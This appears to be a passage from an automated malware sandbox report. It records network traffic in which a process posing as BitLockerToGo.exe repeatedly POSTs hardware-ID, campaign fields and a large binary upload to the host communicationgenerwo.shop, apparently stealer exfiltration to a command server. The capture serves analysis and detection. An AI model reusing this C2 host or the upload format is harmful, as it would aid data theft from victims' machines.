2024-03-26 17:23:31 UTC	810	IN	HTTP/1.1 200 OK Date: Tue, 26 Mar 2024 17:23:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p9826kov8ecnqhknl22cunq4p4; expires=Sat, 20-Jul-2024 11:10:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wzGpwjrws7H%2BKdHmMWqDtc1IMDSlReWxWkYLl8QMHaXo1gaLlMPDVFckIaIHt1jB%2FjtrfjQfI2h3MObPkoCMCDP6295%2FKZHjh2IP6Uu9PLzXRNJm31XInyn1HjNgFElWyLKBlLfCwa%2F9A0rv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86a8d435cdb081df-IAD alt-svc: h3=":443"; ma=86400
2024-03-26 17:23:31 UTC	22	IN	Data Raw: 31 30 0d 0a 6f 6b 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 0d 0a Data Ascii: 10ok 102.165.48.43
2024-03-26 17:23:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49732	172.67.166.251	443	7620	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-26 17:23:31 UTC	291	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19958 Host: communicationgenerwo.shop
2024-03-26 17:23:31 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 41 35 42 37 46 43 37 45 34 41 41 36 32 42 36 32 36 33 35 42 35 32 31 31 33 46 35 42 33 46 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 75 59 59 33 4e 49 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CA5B7FC7E4AA62B62635B52113F5B3F8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"uYY3NI----b
2024-03-26 17:23:31 UTC	4627	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 Data Ascii: +?2+?2+?o?Mp5p_
2024-03-26 17:23:32 UTC	812	IN	HTTP/1.1 200 OK Date: Tue, 26 Mar 2024 17:23:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8qh1i28vces1h3ujjsc83ffuiq; expires=Sat, 20-Jul-2024 11:10:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7NgONp4Xfch67iM%2BTUFjyxkbXvpL%2BLtuFg04hEFpo1iCy48%2FWdLpbSwUEfy7qhZ0FTvWLUkE8Q%2FJWzyPglGUtefsIpyZAtmrADn4LAcw1iznqrIA9aLZGVgtHDBiwg4J1ahIB0%2BLSOAdIzB7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86a8d43cbd155a7c-IAD alt-svc: h3=":443"; ma=86400
2024-03-26 17:23:32 UTC	22	IN	Data Raw: 31 30 0d 0a 6f 6b 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 0d 0a Data Ascii: 10ok 102.165.48.43
2024-03-26 17:23:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49733	172.67.166.251	443	7620	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-26 17:23:33 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5437 Host: communicationgenerwo.shop
2024-03-26 17:23:33 UTC	5437	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 41 35 42 37 46 43 37 45 34 41 41 36 32 42 36 32 36 33 35 42 35 32 31 31 33 46 35 42 33 46 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 75 59 59 33 4e 49 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CA5B7FC7E4AA62B62635B52113F5B3F8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"uYY3NI----b
2024-03-26 17:23:34 UTC	814	IN	HTTP/1.1 200 OK Date: Tue, 26 Mar 2024 17:23:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=voj6kd6t2kkoh1e5uddukok6a8; expires=Sat, 20-Jul-2024 11:10:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QUoDI%2BrRV4G8LbZN4gEkxc6i2%2B40lfvrWcSOCjBwPtEh384saZKFKUBIHD2sfSK6sQAPJShbOM%2BlaoFfXj%2FBDx9f0F%2BaEpaaI7ptwIywDFYa6zAZnYxx%2FgbyXyqT9fET1DUHiZPsbZ6PnUK4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86a8d4476d1c57fa-IAD alt-svc: h3=":443"; ma=86400
2024-03-26 17:23:34 UTC	22	IN	Data Raw: 31 30 0d 0a 6f 6b 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 0d 0a Data Ascii: 10ok 102.165.48.43
2024-03-26 17:23:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49734	172.67.166.251	443	7620	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-26 17:23:34 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1409 Host: communicationgenerwo.shop
2024-03-26 17:23:34 UTC	1409	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 41 35 42 37 46 43 37 45 34 41 41 36 32 42 36 32 36 33 35 42 35 32 31 31 33 46 35 42 33 46 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 75 59 59 33 4e 49 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CA5B7FC7E4AA62B62635B52113F5B3F8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"uYY3NI----b
2024-03-26 17:23:34 UTC	814	IN	HTTP/1.1 200 OK Date: Tue, 26 Mar 2024 17:23:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=00iiucabjmdniatlakarbaucve; expires=Sat, 20-Jul-2024 11:10:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F4NAtUY9EB4nZHyHmYYEU7ovaRXJdX%2ByzcErtzVXYTGo6G%2B8D%2FfmlJLwolhg%2FUu%2B1hVabbiMNMm2hrvou9uvwwReoxYitzcVe0Xqh1Uzra4KEpUDSJjGUAqKzNbKbQt8y2zBR1MgoNlXE%2BIe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86a8d44c8fca073d-IAD alt-svc: h3=":443"; ma=86400
2024-03-26 17:23:34 UTC	22	IN	Data Raw: 31 30 0d 0a 6f 6b 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 0d 0a Data Ascii: 10ok 102.165.48.43
2024-03-26 17:23:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49735	172.67.166.251	443	7620	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-26 17:23:35 UTC	292	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 578178 Host: communicationgenerwo.shop
2024-03-26 17:23:35 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 41 35 42 37 46 43 37 45 34 41 41 36 32 42 36 32 36 33 35 42 35 32 31 31 33 46 35 42 33 46 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 75 59 59 33 4e 49 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CA5B7FC7E4AA62B62635B52113F5B3F8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"uYY3NI----b
2024-03-26 17:23:35 UTC	15331	OUT	Data Raw: 2e f1 a3 7a 87 b3 cb 31 8a 9d 53 7f 7e 39 cf 06 55 d7 0b db 35 55 b3 f8 07 1c 4d 70 02 93 92 57 9f aa 47 4d 63 f6 ec 59 de 9e 00 cf a7 db 0e a0 c3 cf d6 99 80 e6 66 c4 dc e8 8e 4b c7 f7 89 9e 00 c9 0f a3 62 62 13 96 37 02 e2 96 cf f4 ab bc be 47 98 0e 9d 46 35 18 cf 59 17 34 8b 90 0d 0e 92 de 0d ed a4 9b d3 f0 3d f8 09 f1 3f 75 be ed 53 cf aa 90 de 28 7e 40 9f 53 7b c2 76 49 7f f7 a5 56 b7 c9 60 41 8f 9b 66 33 3e ce 3e 0a a7 b6 ce 77 6c 30 30 11 e0 0e 26 ec 1d 41 bd 36 f3 b2 e6 dc 67 ad b4 51 fb a9 a1 2c 34 12 f5 a9 4c b4 07 a8 42 19 7e d0 cd 06 09 96 6a ec b4 59 4a 94 46 b7 62 fa 6e 9b 86 f1 89 20 ef f8 e2 76 f1 94 3a 7d a6 ae 2e 34 c2 55 6a 8f 90 9c 3d 6f d1 fc 98 71 e7 9c bf 82 c9 b3 ba a3 7e 3b c6 52 60 d4 da 9d 6f 8f 61 bb d1 b2 46 58 0b 25 e8 4f 37 Data Ascii: .z1S~9U5UMpWGMcYfKbb7GF5Y4=?uS(~@S{vIV`Af3>>wl00&A6gQ,4LB~jYJFbn v:}.4Uj=oq~;R`oaFX%O7
2024-03-26 17:23:35 UTC	15331	OUT	Data Raw: 0b 39 e4 d2 b5 21 13 8e fa 2b c8 85 22 de 70 ed eb 6a f6 5c 4d 8a 92 7a 54 a0 32 a7 fd 5b fc ce bd e9 8f 02 bd 1c 8c 40 73 6f d8 da e5 75 59 e2 0a 58 d7 1d 27 5a 12 17 90 8c bc 3b 92 e1 cb 7d a5 49 62 13 b6 7a a6 de 08 d3 fa 49 2d 22 24 14 b3 40 75 8e aa 32 47 11 3d 07 9a fd b0 b0 f4 72 1c 54 9e 9c d5 66 16 aa 32 60 95 71 5d 2e e2 b6 73 86 df f2 bb 2d 9d 0b 3f 6b 75 d5 b2 ea 90 c2 65 2f d8 1f 7b b1 f3 a2 94 05 ff d4 5f ce 5c b1 63 f0 f7 11 7c 22 fb d5 ac c4 85 cc b4 fd 9b 14 c3 ab 95 c9 ea 96 48 df 0d 27 62 c3 31 5e 25 8f ad e7 c5 4c 68 34 fd 2a cf e3 c6 57 da db c5 ff 6a b8 52 07 a1 3c ee 78 8e 35 5a 59 b8 38 55 f0 e3 dd 8f 7b 9e 19 e8 16 bf 63 63 93 33 ff 1e bb 53 8f 9e 2c 0e 5b 4a a3 85 bb 43 91 9c 28 92 01 cd bc 40 e6 e8 a3 70 12 bf b3 70 6d d1 cc 11 Data Ascii: 9!+"pj\MzT2[@souYX'Z;}IbzI-"$@u2G=rTf2`q].s-?kue/{_\c\|"H'b1^%Lh4*WjR<x5ZY8U{cc3S,[JC(@ppm
2024-03-26 17:23:35 UTC	15331	OUT	Data Raw: 4b 80 29 0f 8b 57 68 08 28 f4 03 9f 5b cc 9c c9 1b d5 a2 e1 0d 78 c2 e7 3b b7 13 76 92 ea b4 d3 43 11 de 5d 23 31 41 dc 28 ae 0d 14 5c 64 e9 df 0e e1 64 49 a1 d2 87 84 74 01 b6 76 e6 ee c7 fc fa f2 b1 4a d3 d3 c2 86 20 70 5e 05 f6 40 c7 b4 a5 ec 53 c1 cd b0 fb 30 bc df 82 92 b0 74 d4 a5 e8 00 f3 07 66 6b c6 50 a6 87 c4 0d ad a2 36 99 12 c0 46 5e 3b c1 fc dc e6 99 8e 2d 33 36 08 e0 5c cc 0a e0 6f 76 e1 39 66 be 8d 73 6e 13 3a 6f db ec 93 6e d4 c3 be 3e a6 86 15 8c 12 d0 c0 ce a4 41 b3 a2 25 98 4f 7e 20 b6 86 5c e8 63 35 fa 0c 3e 7e 3c 3b b2 76 30 1b 78 a6 27 c0 ec 2f 05 0e 99 5f 00 b1 7f f8 f0 46 e4 f7 2e 34 7f 7f 88 db fd 91 f9 fd 56 a6 22 bb 84 bb 28 0b 38 9b 5e 11 89 ad bc 64 70 6a 4f 7b c4 14 e9 78 af 74 95 f0 a1 ac 6f f0 e1 2f fb 40 ea e1 fd f5 46 e2 Data Ascii: K)Wh([x;vC]#1A(\ddItvJ p^@S0tfkP6F^;-36\ov9fsn:on>A%O~ \c5>~<;v0x'/_F.4V"(8^dpjO{xto/@F
2024-03-26 17:23:35 UTC	15331	OUT	Data Raw: af 26 b9 21 82 8e bd c5 8a 62 66 43 87 9c 79 34 c2 32 cc 49 59 56 81 48 07 e2 37 4e 7a 31 77 98 59 c5 ae 86 94 95 33 39 cb 56 83 f4 0a 86 77 14 62 7c 12 e9 29 88 a1 ca 40 58 87 90 c5 be 12 c6 39 5b 33 3d 14 ad 58 f8 68 7f b8 72 93 0a 85 8c 7b 6a 6a ec c1 59 ba 29 b1 fa 05 cb 46 26 81 24 d2 5d 87 ec ea 59 c9 bd 87 cf 83 dc 7f e0 6e b4 d2 ca f1 57 21 32 f8 a6 04 6a 63 d4 35 ee e8 f4 b8 b3 8f fa 18 59 65 a5 e8 34 3e 2a 98 44 d4 d9 7f 92 ed 7e ef 97 2d 37 b4 66 9a b0 61 14 01 6f 28 1c e6 3a 56 08 c3 91 8c 07 0e ec 8d 94 b2 8a 33 b5 1d cf f2 72 82 19 bd ca 1b 53 47 20 3f 6a 25 2f 51 5a 39 0e 7f ac d0 1f a6 3c f3 55 24 b9 99 cf ca 96 68 3a 26 70 e6 3d b6 52 68 94 0f a4 2a 02 cf f6 16 c4 b5 06 1b f9 cc 04 5e 21 54 f4 eb 3a 35 7e e9 88 c3 fa 74 54 db f4 6c 31 fe Data Ascii: &!bfCy42IYVH7Nz1wY39Vwb\|)@X9[3=Xhr{jjY)F&$]YnW!2jc5Ye4>D~-7fao(:V3rSG ?j%/QZ9<U$h:&p=Rh^!T:5~tTl1
2024-03-26 17:23:35 UTC	15331	OUT	Data Raw: a0 19 57 d4 7f d4 64 78 03 c1 55 07 de f9 02 ae 75 99 8f 0d ff 99 46 27 bc 11 0d 6a fb 8a 04 2a ab 35 29 58 bc 31 dd 88 12 8f 11 5a 9e 24 52 54 97 e6 3d 74 4a e7 cd be 18 19 a3 6a 88 79 84 0a d3 71 68 ea 23 9e 47 64 cf 1b a1 c4 10 eb f5 4c 3e aa 2a 78 37 4b 15 81 c8 ab a3 fa 99 39 5e 39 2c 63 87 ab 95 78 f5 d4 08 e5 08 2a 61 cd cd b2 b0 1c 65 bc 84 c6 75 34 d0 fc b6 a3 9f 57 28 eb 1a 5b d8 32 24 b1 7c 5f 65 8b 3d 8c d6 2a bc 97 7b 83 18 f2 49 a9 d1 70 54 20 b2 84 cb f1 c6 27 f7 b8 61 5f 9d b1 e8 87 25 d6 4a 2c da 50 d4 69 ae eb 41 4d 2f 5a f5 84 65 bc 7a fe 14 c3 36 f8 39 a5 91 9f d7 c8 55 bf 97 01 65 a5 8e b4 07 6d 9e bd 99 1c 85 e0 65 42 76 99 4f 9e 1f 0e 18 20 00 fc ad 16 59 97 07 cc 21 be 6d b6 6e aa 90 7a df f6 92 cb 56 41 95 50 e5 96 cb 9f f8 7f dd Data Ascii: WdxUuF'j5)X1Z$RT=tJjyqh#GdL>x7K9^9,cxaeu4W([2$\|_e={IpT 'a_%J,PiAM/Zez69UemeBvO Y!mnzVAP
2024-03-26 17:23:35 UTC	15331	OUT	Data Raw: 79 c1 ca e2 62 7f 0a 79 70 ea 11 a8 52 c6 d4 97 44 c3 7c 98 86 db b3 d5 c2 98 52 1e a0 8a bf 7e 1e 6f 13 21 c2 e6 0d 9f 14 33 6c 12 bb cd d9 f8 00 3b cd 0e 83 e7 95 ef f4 f0 cd 10 bc fa b4 08 35 fd 88 d1 a9 ca fd 87 fc f3 fc d7 52 ea 47 d1 ea 18 8c 5f 02 8a 49 d2 22 6a e2 5d 91 76 23 8c fd 8e 98 47 d0 dc bc 92 93 3d 8b 2c cf 5e d2 d9 e3 19 48 ab bd 7e 39 b1 51 94 a5 97 b9 6c 6c 43 ef e5 4b b9 49 30 b3 a5 8b 82 2b ef d3 4f 43 64 58 4e a1 da 0d e3 d4 8e 93 a1 47 d1 79 66 67 ae e0 f1 8b 7d f9 ce b3 d9 aa d5 57 66 0d d7 ad 74 6e 5f e6 22 3a a5 d0 af 1e 27 b5 46 e8 49 f1 e7 5b 6d 1b e2 c8 b6 30 1c 08 87 fc 0d 44 05 78 8f c5 33 79 00 37 37 37 90 cf d3 1e a7 f1 fc 06 5b 78 8c 10 28 eb 73 9d 8f 5d 0f 61 7e bd f3 24 b8 e3 92 d6 8a 03 9f 9d 72 9e 65 59 fe d9 3f c8 Data Ascii: ybypRD\|R~o!3l;5RG_I"j]v#G=,^H~9QllCKI0+OCdXNGyfg}Wftn_":'FI[m0Dx3y777[x(s]a~$reY?
2024-03-26 17:23:35 UTC	15331	OUT	Data Raw: b4 ee b6 f9 26 33 54 74 58 b2 36 42 5d 74 a4 82 94 96 98 4a 3d 9c 54 45 76 8d 92 9d be 28 d3 f5 28 62 87 2d 6a 5e 03 b4 c7 eb 3e 2f 82 2e 67 63 d1 0c 5b 85 7f 0c 36 df 3e 48 a5 ef 1d 99 a5 17 f0 9a ef f2 07 03 fc be 45 69 f4 b1 15 25 62 cf 06 16 fc 9c 6a 31 ab 0f 91 58 29 f4 d9 70 51 15 35 1d 7a 39 bb 22 ec d4 ed c2 54 5d b5 34 64 f9 3c 4c 87 b6 a8 06 3a 04 71 53 41 f7 bc ef 1d e4 94 c9 4a 69 84 75 2c 06 05 e8 37 de f2 75 32 34 8b 0a 2e 37 5c ae 61 4d e5 13 b7 47 d3 24 99 a3 03 03 1e 39 e7 37 86 f5 0c ca be f4 b0 e7 c6 a5 31 98 79 f9 de 68 48 e1 c6 c4 e2 79 ba 1a ab d8 c8 cc 10 9d 33 bb b6 20 fa 1f 7a 34 93 75 6b 60 89 b0 70 da ee f2 cb f2 05 fe c6 70 f7 b8 24 8a 37 17 c0 c9 98 ea 1d 79 fb 69 81 bf b5 b0 2d fa 09 d9 46 c1 16 38 77 2f 6d 36 58 f1 97 18 5b Data Ascii: &3TtX6B]tJ=TEv((b-j^>/.gc[6>HEi%bj1X)pQ5z9"T]4d<L:qSAJiu,7u24.7\aMG$971yhHy3 z4uk`pp$7yi-F8w/m6X[
2024-03-26 17:23:35 UTC	15331	OUT	Data Raw: 7e 65 99 24 23 83 e2 e4 4d b3 9b a8 ed 13 05 22 54 fc 25 14 cc 8d 84 e3 f9 aa ab 99 9f 4b 2e 73 5a 3f fa 5d dd 9a 88 da 50 b9 ff 69 3d dc 69 6d 6a c6 fd fc 9c de 5e ee 8a c1 24 9c 7f fa ed 5c ad 9e ea 3c ba 31 28 3d 2e ec be 58 73 6d 3f 73 ef 32 2b 61 45 97 ba f1 87 d7 12 c8 e3 d2 9d 82 d4 12 36 83 92 ef 1a 0c 81 2f 7c 6a bf 3f ec f4 07 30 ee be e9 4c fd bf 61 8a ee c0 7b 70 60 02 c0 5c 54 94 1c 62 8c 91 88 d7 d5 dc 14 f2 11 12 95 c2 fe d8 6a 9b c3 ec da 3a 87 de b3 eb 8e 3e 83 d4 62 d6 3c 26 54 e5 d8 b9 cf b2 5a 19 ff a4 64 77 96 5a 16 e5 93 93 44 5a e4 56 90 ef 73 28 62 79 e3 24 37 10 9b 70 1d 38 9b f0 5f 8c 5d 3a a1 f0 43 40 31 8c 3f 95 de 94 06 97 ee 35 30 56 7c 1d c4 14 38 82 75 2c 87 00 3d 77 10 ad 57 1c cb 25 99 17 12 18 a7 40 5b 19 af e4 14 26 5a Data Ascii: ~e$#M"T%K.sZ?]Pi=imj^$\<1(=.Xsm?s2+aE6/\|j?0La{p`\Tbj:>b<&TZdwZDZVs(by$7p8_]:C@1?50V\|8u,=wW%@[&Z
2024-03-26 17:23:35 UTC	15331	OUT	Data Raw: 40 7d 91 93 cd 4c f5 27 fc f1 13 24 ed 75 35 2d 20 c3 4c 54 46 1d 13 83 b3 ea 7e bb ff 37 4c e4 33 15 05 bd 75 64 3e b6 b4 2c 2d 80 25 31 67 14 b5 e8 a4 bb 3d a3 6f 84 0e 7b 57 a2 d6 ac b9 f6 a3 50 dd 49 dd 6f f3 8c d6 d8 0f 6f d9 33 82 88 c9 e7 11 f7 75 91 ea 74 ba d2 05 31 2e 66 a4 1b 79 62 c7 4e 92 c4 c3 63 be 75 f1 49 0c 55 ef 47 32 90 fd b5 c2 94 3c 09 81 da bd 4a c6 d0 31 41 20 c6 6f 52 92 77 aa 1a 05 77 0a b8 0d 3b 0d 57 d2 75 d1 f0 dd 35 3b ba ab 33 e1 38 49 52 a8 48 b5 46 fe c1 06 82 0d 21 a6 3c 8c 1e 71 44 c0 a5 b7 4e df 57 eb 5d 3d 79 70 5c 56 be 1b 98 49 e1 62 a5 b7 bf 19 1e 46 5d dc 3d 28 4b 97 4f 09 d6 5d b7 7a fa 1c b2 2c 49 bc 17 fb 77 8b fd cd cf 17 95 2a 60 ff bb 40 84 1b b5 46 10 0f b0 f2 0f 92 e7 f8 ba 02 99 06 e5 43 22 b1 15 3b 6e 0b Data Ascii: @}L'$u5- LTF~7L3ud>,-%1g=o{WPIoo3ut1.fybNcuIUG2<J1A oRww;Wu5;38IRHF!<qDNW]=yp\VIbF]=(KO]z,Iw*`@FC";n
2024-03-26 17:23:37 UTC	812	IN	HTTP/1.1 200 OK Date: Tue, 26 Mar 2024 17:23:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8lubf9e2et0de4te7i8mdd3rpu; expires=Sat, 20-Jul-2024 11:10:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rx6%2BBri0aQU3LF7cewTdnmqZvjL0Aiwfkh3UkCE69nydCrrzhvyWpbUB4gF85HLb8UDmL%2FccGTzNPo86bmzb19aaeT2Z%2FeHpHCv%2BLcgCt3Uf4qkwqJLdzjFEEfCxI%2FLslZZSTaGb0oyYF91y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86a8d455095f8790-IAD alt-svc: h3=":443"; ma=86400

Target ID:	3
Start time:	18:23:08
Start date:	26/03/2024
